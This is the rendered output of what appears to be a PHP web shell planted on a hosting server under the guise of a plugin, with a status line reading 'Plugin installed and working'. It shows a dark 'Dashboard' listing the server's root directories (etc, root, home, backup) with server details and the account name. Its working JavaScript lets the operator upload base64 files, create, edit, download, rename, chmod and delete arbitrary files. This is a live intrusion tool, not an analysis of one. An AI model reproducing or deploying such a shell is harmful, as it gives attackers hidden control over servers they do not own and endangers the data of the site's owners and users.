{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-20 10:40:19"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
                        <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <table class="file-table">
                <thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr></thead>
                <tbody id="file-list">
                                                                <tr data-name="admin">
                            <td><a href="?p=%2F%2Fadmin" class="folder-link">📁 admin</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2025-09-01 15:04</td>
                            <td><div class="actions">
                                <button onclick="showRename('//admin','admin')" class="action-button">Rename</button>
                                <button onclick="showChmod('//admin','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//admin',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="afs">
                            <td><a href="?p=%2F%2Fafs" class="folder-link">📁 afs</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2024-10-02 21:00</td>
                            <td><div class="actions">
                                <button onclick="showRename('//afs','afs')" class="action-button">Rename</button>
                                <button onclick="showChmod('//afs','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//afs',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="backup">
                            <td><a href="?p=%2F%2Fbackup" class="folder-link">📁 backup</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2025-09-02 01:40</td>
                            <td><div class="actions">
                                <button onclick="showRename('//backup','backup')" class="action-button">Rename</button>
                                <button onclick="showChmod('//backup','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//backup',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="backup1">
                            <td><a href="?p=%2F%2Fbackup1" class="folder-link">📁 backup1</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-09 03:34</td>
                            <td><div class="actions">
                                <button onclick="showRename('//backup1','backup1')" class="action-button">Rename</button>
                                <button onclick="showChmod('//backup1','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//backup1',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="backup2">
                            <td><a href="?p=%2F%2Fbackup2" class="folder-link">📁 backup2</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-09 03:34</td>
                            <td><div class="actions">
                                <button onclick="showRename('//backup2','backup2')" class="action-button">Rename</button>
                                <button onclick="showChmod('//backup2','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//backup2',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="backup3">
                            <td><a href="?p=%2F%2Fbackup3" class="folder-link">📁 backup3</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-09 03:34</td>
                            <td><div class="actions">
                                <button onclick="showRename('//backup3','backup3')" class="action-button">Rename</button>
                                <button onclick="showChmod('//backup3','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//backup3',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="backup4">
                            <td><a href="?p=%2F%2Fbackup4" class="folder-link">📁 backup4</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-09 03:34</td>
                            <td><div class="actions">
                                <button onclick="showRename('//backup4','backup4')" class="action-button">Rename</button>
                                <button onclick="showChmod('//backup4','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//backup4',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="bin">
                            <td><a href="?p=%2F%2Fbin" class="folder-link">📁 bin</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2026-08-19 09:44</td>
                            <td><div class="actions">
                                <button onclick="showRename('//bin','bin')" class="action-button">Rename</button>
                                <button onclick="showChmod('//bin','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//bin',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="boot">
                            <td><a href="?p=%2F%2Fboot" class="folder-link">📁 boot</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0700</span></td>
                            <td>2026-08-19 09:46</td>
                            <td><div class="actions">
                                <button onclick="showRename('//boot','boot')" class="action-button">Rename</button>
                                <button onclick="showChmod('//boot','0700')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//boot',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="cpanel_installer">
                            <td><a href="?p=%2F%2Fcpanel_installer" class="folder-link">📁 cpanel_installer</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2025-09-01 07:06</td>
                            <td><div class="actions">
                                <button onclick="showRename('//cpanel_installer','cpanel_installer')" class="action-button">Rename</button>
                                <button onclick="showChmod('//cpanel_installer','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//cpanel_installer',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="dev">
                            <td><a href="?p=%2F%2Fdev" class="folder-link">📁 dev</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-04 21:16</td>
                            <td><div class="actions">
                                <button onclick="showRename('//dev','dev')" class="action-button">Rename</button>
                                <button onclick="showChmod('//dev','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//dev',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="etc">
                            <td><a href="?p=%2F%2Fetc" class="folder-link">📁 etc</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-20 10:40</td>
                            <td><div class="actions">
                                <button onclick="showRename('//etc','etc')" class="action-button">Rename</button>
                                <button onclick="showChmod('//etc','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//etc',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="home">
                            <td><a href="?p=%2F%2Fhome" class="folder-link">📁 home</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2026-08-15 12:11</td>
                            <td><div class="actions">
                                <button onclick="showRename('//home','home')" class="action-button">Rename</button>
                                <button onclick="showChmod('//home','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//home',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="home1">
                            <td><a href="?p=%2F%2Fhome1" class="folder-link">📁 home1</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2026-08-20 09:45</td>
                            <td><div class="actions">
                                <button onclick="showRename('//home1','home1')" class="action-button">Rename</button>
                                <button onclick="showChmod('//home1','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//home1',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="home2">
                            <td><a href="?p=%2F%2Fhome2" class="folder-link">📁 home2</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2026-08-20 09:45</td>
                            <td><div class="actions">
                                <button onclick="showRename('//home2','home2')" class="action-button">Rename</button>
                                <button onclick="showChmod('//home2','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//home2',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="home3">
                            <td><a href="?p=%2F%2Fhome3" class="folder-link">📁 home3</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2026-03-14 11:10</td>
                            <td><div class="actions">
                                <button onclick="showRename('//home3','home3')" class="action-button">Rename</button>
                                <button onclick="showChmod('//home3','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//home3',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="home4">
                            <td><a href="?p=%2F%2Fhome4" class="folder-link">📁 home4</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2025-12-29 03:02</td>
                            <td><div class="actions">
                                <button onclick="showRename('//home4','home4')" class="action-button">Rename</button>
                                <button onclick="showChmod('//home4','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//home4',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="lib">
                            <td><a href="?p=%2F%2Flib" class="folder-link">📁 lib</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2026-08-07 01:23</td>
                            <td><div class="actions">
                                <button onclick="showRename('//lib','lib')" class="action-button">Rename</button>
                                <button onclick="showChmod('//lib','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//lib',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="lib64">
                            <td><a href="?p=%2F%2Flib64" class="folder-link">📁 lib64</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2026-08-19 09:44</td>
                            <td><div class="actions">
                                <button onclick="showRename('//lib64','lib64')" class="action-button">Rename</button>
                                <button onclick="showChmod('//lib64','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//lib64',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="lost+found">
                            <td><a href="?p=%2F%2Flost%2Bfound" class="folder-link">📁 lost+found</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0700</span></td>
                            <td>2025-02-25 15:30</td>
                            <td><div class="actions">
                                <button onclick="showRename('//lost+found','lost+found')" class="action-button">Rename</button>
                                <button onclick="showChmod('//lost+found','0700')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//lost+found',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="media">
                            <td><a href="?p=%2F%2Fmedia" class="folder-link">📁 media</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2024-10-02 21:00</td>
                            <td><div class="actions">
                                <button onclick="showRename('//media','media')" class="action-button">Rename</button>
                                <button onclick="showChmod('//media','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//media',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="mnt">
                            <td><a href="?p=%2F%2Fmnt" class="folder-link">📁 mnt</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2024-10-02 21:00</td>
                            <td><div class="actions">
                                <button onclick="showRename('//mnt','mnt')" class="action-button">Rename</button>
                                <button onclick="showChmod('//mnt','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//mnt',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="opt">
                            <td><a href="?p=%2F%2Fopt" class="folder-link">📁 opt</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2025-09-01 17:49</td>
                            <td><div class="actions">
                                <button onclick="showRename('//opt','opt')" class="action-button">Rename</button>
                                <button onclick="showChmod('//opt','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//opt',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="proc">
                            <td><a href="?p=%2F%2Fproc" class="folder-link">📁 proc</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2026-08-04 21:16</td>
                            <td><div class="actions">
                                <button onclick="showRename('//proc','proc')" class="action-button">Rename</button>
                                <button onclick="showChmod('//proc','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//proc',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="ramdisk">
                            <td><a href="?p=%2F%2Framdisk" class="folder-link">📁 ramdisk</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0711</span></td>
                            <td>2026-08-04 21:16</td>
                            <td><div class="actions">
                                <button onclick="showRename('//ramdisk','ramdisk')" class="action-button">Rename</button>
                                <button onclick="showChmod('//ramdisk','0711')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//ramdisk',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="root">
                            <td><a href="?p=%2F%2Froot" class="folder-link">📁 root</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0750</span></td>
                            <td>2026-08-20 10:32</td>
                            <td><div class="actions">
                                <button onclick="showRename('//root','root')" class="action-button">Rename</button>
                                <button onclick="showChmod('//root','0750')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//root',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="run">
                            <td><a href="?p=%2F%2Frun" class="folder-link">📁 run</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-20 10:40</td>
                            <td><div class="actions">
                                <button onclick="showRename('//run','run')" class="action-button">Rename</button>
                                <button onclick="showChmod('//run','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//run',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="sbin">
                            <td><a href="?p=%2F%2Fsbin" class="folder-link">📁 sbin</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2026-08-19 09:44</td>
                            <td><div class="actions">
                                <button onclick="showRename('//sbin','sbin')" class="action-button">Rename</button>
                                <button onclick="showChmod('//sbin','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//sbin',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="scripts">
                            <td><a href="?p=%2F%2Fscripts" class="folder-link">📁 scripts</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-19 03:34</td>
                            <td><div class="actions">
                                <button onclick="showRename('//scripts','scripts')" class="action-button">Rename</button>
                                <button onclick="showChmod('//scripts','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//scripts',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="srv">
                            <td><a href="?p=%2F%2Fsrv" class="folder-link">📁 srv</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-04 21:17</td>
                            <td><div class="actions">
                                <button onclick="showRename('//srv','srv')" class="action-button">Rename</button>
                                <button onclick="showChmod('//srv','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//srv',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="sys">
                            <td><a href="?p=%2F%2Fsys" class="folder-link">📁 sys</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0555</span></td>
                            <td>2026-08-04 21:16</td>
                            <td><div class="actions">
                                <button onclick="showRename('//sys','sys')" class="action-button">Rename</button>
                                <button onclick="showChmod('//sys','0555')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//sys',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="tmp">
                            <td><a href="?p=%2F%2Ftmp" class="folder-link">📁 tmp</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">1777</span></td>
                            <td>2026-08-20 10:40</td>
                            <td><div class="actions">
                                <button onclick="showRename('//tmp','tmp')" class="action-button">Rename</button>
                                <button onclick="showChmod('//tmp','1777')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//tmp',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="usr">
                            <td><a href="?p=%2F%2Fusr" class="folder-link">📁 usr</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-04 21:16</td>
                            <td><div class="actions">
                                <button onclick="showRename('//usr','usr')" class="action-button">Rename</button>
                                <button onclick="showChmod('//usr','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//usr',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="var">
                            <td><a href="?p=%2F%2Fvar" class="folder-link">📁 var</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-20 09:45</td>
                            <td><div class="actions">
                                <button onclick="showRename('//var','var')" class="action-button">Rename</button>
                                <button onclick="showChmod('//var','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//var',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                                                <tr data-name="error_log">
                            <td><a href="?p=%2F&edit=1&path=%2F%2Ferror_log" class="file-link">📄 error_log</a></td>
                            <td class="size">89.6 KB</td>
                            <td><span class="permissions">0644</span></td>
                            <td>2026-07-09 03:34</td>
                            <td><div class="actions">
                                <a href="?p=%2F&edit=1&path=%2F%2Ferror_log" class="action-button">Edit</a>
                                <a href="?download=1&path=%2F%2Ferror_log" class="action-button">Download</a>
                                <button onclick="showRename('//error_log','error_log')" class="action-button">Rename</button>
                                <button onclick="showChmod('//error_log','0644')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//error_log',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="install.log">
                            <td><a href="?p=%2F&edit=1&path=%2F%2Finstall.log" class="file-link">📄 install.log</a></td>
                            <td class="size">236 B</td>
                            <td><span class="permissions">0644</span></td>
                            <td>2025-09-01 15:08</td>
                            <td><div class="actions">
                                <a href="?p=%2F&edit=1&path=%2F%2Finstall.log" class="action-button">Edit</a>
                                <a href="?download=1&path=%2F%2Finstall.log" class="action-button">Download</a>
                                <button onclick="showRename('//install.log','install.log')" class="action-button">Rename</button>
                                <button onclick="showChmod('//install.log','0644')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//install.log',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="quota.user">
                            <td><a href="?p=%2F&edit=1&path=%2F%2Fquota.user" class="file-link">📄 quota.user</a></td>
                            <td class="size">97.0 KB</td>
                            <td><span class="permissions">0644</span></td>
                            <td>2025-09-01 15:17</td>
                            <td><div class="actions">
                                <a href="?p=%2F&edit=1&path=%2F%2Fquota.user" class="action-button">Edit</a>
                                <a href="?download=1&path=%2F%2Fquota.user" class="action-button">Download</a>
                                <button onclick="showRename('//quota.user','quota.user')" class="action-button">Rename</button>
                                <button onclick="showChmod('//quota.user','0644')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//quota.user',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="razor-agent.log">
                            <td><a href="?p=%2F&edit=1&path=%2F%2Frazor-agent.log" class="file-link">📄 razor-agent.log</a></td>
                            <td class="size">109 B</td>
                            <td><span class="permissions">0644</span></td>
                            <td>2025-09-01 07:18</td>
                            <td><div class="actions">
                                <a href="?p=%2F&edit=1&path=%2F%2Frazor-agent.log" class="action-button">Edit</a>
                                <a href="?download=1&path=%2F%2Frazor-agent.log" class="action-button">Download</a>
                                <button onclick="showRename('//razor-agent.log','razor-agent.log')" class="action-button">Rename</button>
                                <button onclick="showChmod('//razor-agent.log','0644')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//razor-agent.log',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="user_list">
                            <td><a href="?p=%2F&edit=1&path=%2F%2Fuser_list" class="file-link">📄 user_list</a></td>
                            <td class="size">9 B</td>
                            <td><span class="permissions">0644</span></td>
                            <td>2026-08-19 17:49</td>
                            <td><div class="actions">
                                <a href="?p=%2F&edit=1&path=%2F%2Fuser_list" class="action-button">Edit</a>
                                <a href="?download=1&path=%2F%2Fuser_list" class="action-button">Download</a>
                                <button onclick="showRename('//user_list','user_list')" class="action-button">Rename</button>
                                <button onclick="showChmod('//user_list','0644')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('//user_list',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                                        </tbody>
            </table>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>